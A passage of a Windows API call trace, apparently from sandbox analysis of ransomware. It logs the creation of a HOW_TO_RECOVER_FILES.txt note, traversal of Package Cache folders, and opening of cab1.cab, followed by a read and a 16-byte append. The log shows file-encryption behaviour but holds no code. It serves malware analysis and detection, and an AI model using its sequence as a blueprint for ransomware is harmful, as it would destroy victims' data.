(dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0076.515] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0076.516] GetFileType (hFile=0x760) returned 0x1 [0076.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0076.516] GetFileType (hFile=0x760) returned 0x1 [0076.517] WriteFile (in: hFile=0x760, lpBuffer=0x3378de0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3378de0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0076.518] CloseHandle (hObject=0x760) returned 1 [0076.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0076.518] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x4e [0076.518] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0076.519] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.519] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.519] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.520] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0076.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0076.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0076.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0076.520] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x4e [0076.520] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0076.520] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.520] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.520] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0076.520] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0076.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0076.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0076.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0076.521] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0076.521] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0076.522] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0076.522] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0076.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0076.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0076.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0076.522] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0076.522] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0076.523] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.523] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0076.523] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0076.523] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0076.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0076.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0076.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0076.523] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0076.523] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0076.524] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.524] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0076.524] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0076.524] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0076.524] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0076.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0076.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0076.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0076.524] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0076.524] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0076.525] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.525] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0076.525] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0076.525] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0076.525] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0076.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0076.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0076.526] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0076.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0076.526] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x33a5be8 | out: lpFileInformation=0x33a5be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124)) returned 1 [0076.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0076.526] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0076.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0076.526] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0076.527] GetFileType (hFile=0x760) returned 0x1 [0076.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0076.527] GetFileType (hFile=0x760) returned 0x1 [0076.527] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0076.527] ReadFile (in: hFile=0x760, lpBuffer=0x33a60c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x33a60c0*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0076.529] CloseHandle (hObject=0x760) returned 1 [0076.529] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0076.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0076.529] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0076.529] GetFileType (hFile=0x760) returned 0x1 [0076.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0076.529] GetFileType (hFile=0x760) returned 0x1 [0076.529] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x588124 [0076.529] WriteFile (in: hFile=0x760, lpBuffer=0x33a73b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x33a73b8*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0076.708] CloseHandle (hObject=0x760) returned 1 [0077.528] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0077.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0077.528] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 